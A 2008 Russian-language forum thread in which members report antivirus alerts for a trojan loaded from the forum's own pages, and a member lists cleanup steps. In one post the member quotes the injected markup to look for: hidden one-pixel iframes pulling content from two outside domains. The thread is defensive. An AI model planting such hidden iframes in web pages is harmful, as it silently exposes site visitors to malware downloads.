 Троян на форуме! |
Добро пожаловать, гость ( Вход | Регистрация )
  |
| Егор |
 20 Mar 2008, 08:54
Сообщение
#1
|
|
****  Группа: Пользователи Сообщений: 869 Регистрация: 8 Sep 2006 Пользователь №: 565  |
Будьте внимательны.
Вчера при заходе на форум ко мне в комп пытался прорваться троян! Вот сообщение Касперского: The requested URL [url=http://www.crnagora.ru/forum[/url] is infected with Trojan-Clicker.HTML.IFrame.ab virus |
   |
 
|
| basill |
20 Mar 2008, 09:08
Сообщение
#2
|
|
* Группа: Пользователи Сообщений: 4 Регистрация: 10 Jan 2008 Пользователь №: 2,935 |
Цитата(Егор @ 20 Mar 2008, 17:54)  Будьте внимательны. Вчера при заходе на форум ко мне в комп пытался прорваться троян! Вот сообщение Касперского: The requested URL [url=http://www.crnagora.ru/forum[/url] is infected with Trojan-Clicker.HTML.IFrame.ab virus подтверждаю!!! |
|
|
|
| Черногорка |
20 Mar 2008, 11:29
Сообщение
#3
|
 ** Группа: Пользователи Сообщений: 64 Регистрация: 14 May 2007 Из: Montenegro Пользователь №: 2,101 |
Цитата(basill @ 20 Mar 2008, 10:08) подтверждаю!!! Точно, на меня пытался напасть! |
|
|
|
| Пенсионер |
20 Mar 2008, 11:33
Сообщение
#4
|
|
** Группа: Пользователи Сообщений: 46 Регистрация: 22 Oct 2007 Пользователь №: 2,781 |
Local Settings\Temporary Internet Files\Content.IE5\IM3SWQR2\in[1].htm\JavaScript.0 - инфицирован Trojan.DownLoader.50222
Это Веб сказал....-с последнего сохраненного поста!....делать то что? |
|
|
|
| Егор |
20 Mar 2008, 12:36
Сообщение
#5
|
|
**** Группа: Пользователи Сообщений: 869 Регистрация: 8 Sep 2006 Пользователь №: 565 |
QUOTE(Пенсионер @ 20 Mar 2008, 11:33) Local Settings\Temporary Internet Files\Content.IE5\IM3SWQR2\in[1].htm\JavaScript.0 - инфицирован Trojan.DownLoader.50222 Это Веб сказал....-с последнего сохраненного поста!....делать то что? Запустить полную проверку компа антивирусом и уничтожить если что-то обнаружится. |
|
|
|
| НастяС |
20 Mar 2008, 12:48
Сообщение
#6
|
|
* Группа: Пользователи Сообщений: 8 Регистрация: 20 Mar 2008 Пользователь №: 3,145 |
Цитата(Егор @ 20 Mar 2008, 12:36) Запустить полную проверку компа антивирусом и уничтожить если что-то обнаружится. Спасибо за предупреждение. |
|
|
|
| A+A |
20 Mar 2008, 17:11
Сообщение
#7
|
|
**** Группа: Главные администраторы Сообщений: 695 Регистрация: 19 Apr 2007 Пользователь №: 1,988 |
Рекомендую всем соблюдать максимальные меры предосторожности при работе на форму. К сожалению, по техническим причинам мы не сможем решить проблему быстро.
|
|
|
|
| Алексей Блынский |
20 Mar 2008, 17:34
Сообщение
#8
|
|
** Группа: Пользователи Сообщений: 96 Регистрация: 11 May 2007 Пользователь №: 2,086 |
Цитата(A+A @ 20 Mar 2008, 18:11) Рекомендую всем соблюдать максимальные меры предосторожности при работе на форму. К сожалению, по техническим причинам мы не сможем решить проблему быстро. В случае обнаружения следов вируса необходимо выполнить следующие действия с обязательным соблюдением порядка: 1. Удалить вирусное содержимое со страниц вашего сайта. 2. Обновить свою антивирусную программу и проверить локальный компьютер на наличие вирусов. 3. Зайти в панель управления хостинг-аккаунтом и изменить пароль на пользователя FTP. Я так думаю у кого-то из админов, вирус сидел на компе, вот и ушел пароль от FTP. Удачи в лечении. на страницах нужно искать примерно такое ---- <body bgColor=#CCCCCC leftMargin=0 topMargin=0 marginheight="0" marginwidth="0"><iframe src=http://dorzentovan.com/sp/ frameborder=0 width=1 height=1 scrolling=no></iframe> ---- или ---- <iframe src=http://dorzentovan.com/sp/ frameborder=0 width=1 height=1 scrolling=no></iframe><iframe src=http://dkfjkdkjsl.com/spk2/ frameborder=0 width=1 height=1 scrolling=no></iframe> ---- Еще раз удачи |
|
|
|
| saaaab |
20 Mar 2008, 21:13
Сообщение
#9
|
|
*** Группа: Пользователи Сообщений: 118 Регистрация: 14 May 2007 Пользователь №: 2,100 |
Цитата(Алексей Блынский @ 20 Mar 2008, 17:34) Я так думаю у кого-то из админов, вирус сидел на компе, вот и ушел пароль от FTP. Удачи в лечении. Ага. Два дня назад snoop передал бразды правления, если не ошибаюсь, А+А. Возможно, конечно, совпадение, но... Сегодня еле запустил комп, и вижу, что из компа все выгружает троян |
|
|
|
| A+A |
20 Mar 2008, 22:10
Сообщение
#10
|
|
**** Группа: Главные администраторы Сообщений: 695 Регистрация: 19 Apr 2007 Пользователь №: 1,988 |
QUOTE(saaaab @ 20 Mar 2008, 21:13) Ага. Два дня назад snoop передал бразды правления, если не ошибаюсь, А+А. Возможно, конечно, совпадение, но... Сегодня еле запустил комп, и вижу, что из компа все выгружает троян У модераторов нет доступа к прову по FTP. |
|
|
|
| Граф Монтенегро |
20 Mar 2008, 23:30
Сообщение
#11
|
|
** Группа: Пользователи Сообщений: 32 Регистрация: 3 Mar 2008 Пользователь №: 3,099 |
Цитата(Егор @ 20 Mar 2008, 08:54) Будьте внимательны. Вчера при заходе на форум ко мне в комп пытался прорваться троян! Вот сообщение Касперского: The requested URL [url=http://www.crnagora.ru/forum[/url] is infected with Trojan-Clicker.HTML.IFrame.ab virus Да покажите же мне этот вирус наконец. Хобби у меня просто, вирусное (разбираться что и как).  Весь форум облазил, ничто прицепиться не пытается. У меня антивирус AVIRA, если что. Просканил и DrWebом. Причем загружался с LiveCD. |
|
|
|
| Егор |
21 Mar 2008, 08:43
Сообщение
#12
|
|
**** Группа: Пользователи Сообщений: 869 Регистрация: 8 Sep 2006 Пользователь №: 565 |
Да чего его показывать? Вчера вечером опять этот вирус грузился. Да проблем нет, Касперский его убивает у меня и дальше все работает. Не проблема. Зачем антивирус то обновлять если он и так новый и сам обновляется? Что то вы все усложняете. Поставьте антивирус нормальный и непиратский с неворованными ключами и все наладится.
|
|
|
|
| Александар |
21 Mar 2008, 14:20
Сообщение
#13
|
|
. Группа: Главные администраторы Сообщений: 825 Регистрация: 18 Jan 2007 Пользователь №: 1,315 |
QUOTE(Граф Монтенегро @ 20 Mar 2008, 23:30) Да покажите же мне этот вирус наконец. Хобби у меня просто, вирусное (разбираться что и как). Весь форум облазил, ничто прицепиться не пытается. У меня антивирус AVIRA, если что. Просканил и DrWebом. Причем загружался с LiveCD.выйдите с форума и войдите. при нажатии ВОЙТИ он и прицепляется. пару дней назад Касперский его ловил, Dr.Web молчал. а сегодня и Dr.Web нашел этого Trojan.DownLoader.50222 |
|
|
|
| Граф Монтенегро |
21 Mar 2008, 14:34
Сообщение
#14
|
|
** Группа: Пользователи Сообщений: 32 Регистрация: 3 Mar 2008 Пользователь №: 3,099 |
Цитата(Егор @ 21 Mar 2008, 08:43) Да чего его показывать? Вчера вечером опять этот вирус грузился. Да проблем нет, Касперский его убивает у меня и дальше все работает. Не проблема. Зачем антивирус то обновлять если он и так новый и сам обновляется? Что то вы все усложняете. Поставьте антивирус нормальный и непиратский с неворованными ключами и все наладится. Да хобби у меня внутри вирусов копаться самому, а не антивирусом. А про обновление не понял, я вроде про такое ничего не писал. У меня всегда сами антивирусы обновляются (AVIRA Antivir и Dr. Web). И с родными лицензионными ключиками. Неужто думаете, Граф не может позволить себе купить?  У меня и Windows и Office легальные.Цитата(Александар @ 21 Mar 2008, 14:20) выйдите с форума и войдите. при нажатии ВОЙТИ он и прицепляется. пару дней назад Касперский его ловил, Dr.Web молчал. а сегодня и Dr.Web нашел этого Trojan.DownLoader.50222 Не получилось, Александар. Несколько раз пробовал и процессы мониторил. Ну да пес с ним. |
|
|
|
| Алексей Блынский |
21 Mar 2008, 15:50
Сообщение
#15
|
|
** Группа: Пользователи Сообщений: 96 Регистрация: 11 May 2007 Пользователь №: 2,086 |
Цитата(Граф Монтенегро @ 21 Mar 2008, 15:34) Да хобби у меня внутри вирусов копаться самому, а не антивирусом. Так отключите антивирус, файрволл, заходите на форум и копайтесь на здоровье. |
|
|
|
|
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0 -
| Упрощённая версия | Сейчас: 15 Nov, 12:40 |
Invision Power Board
v2.1.4 © 2024 IPS, Inc.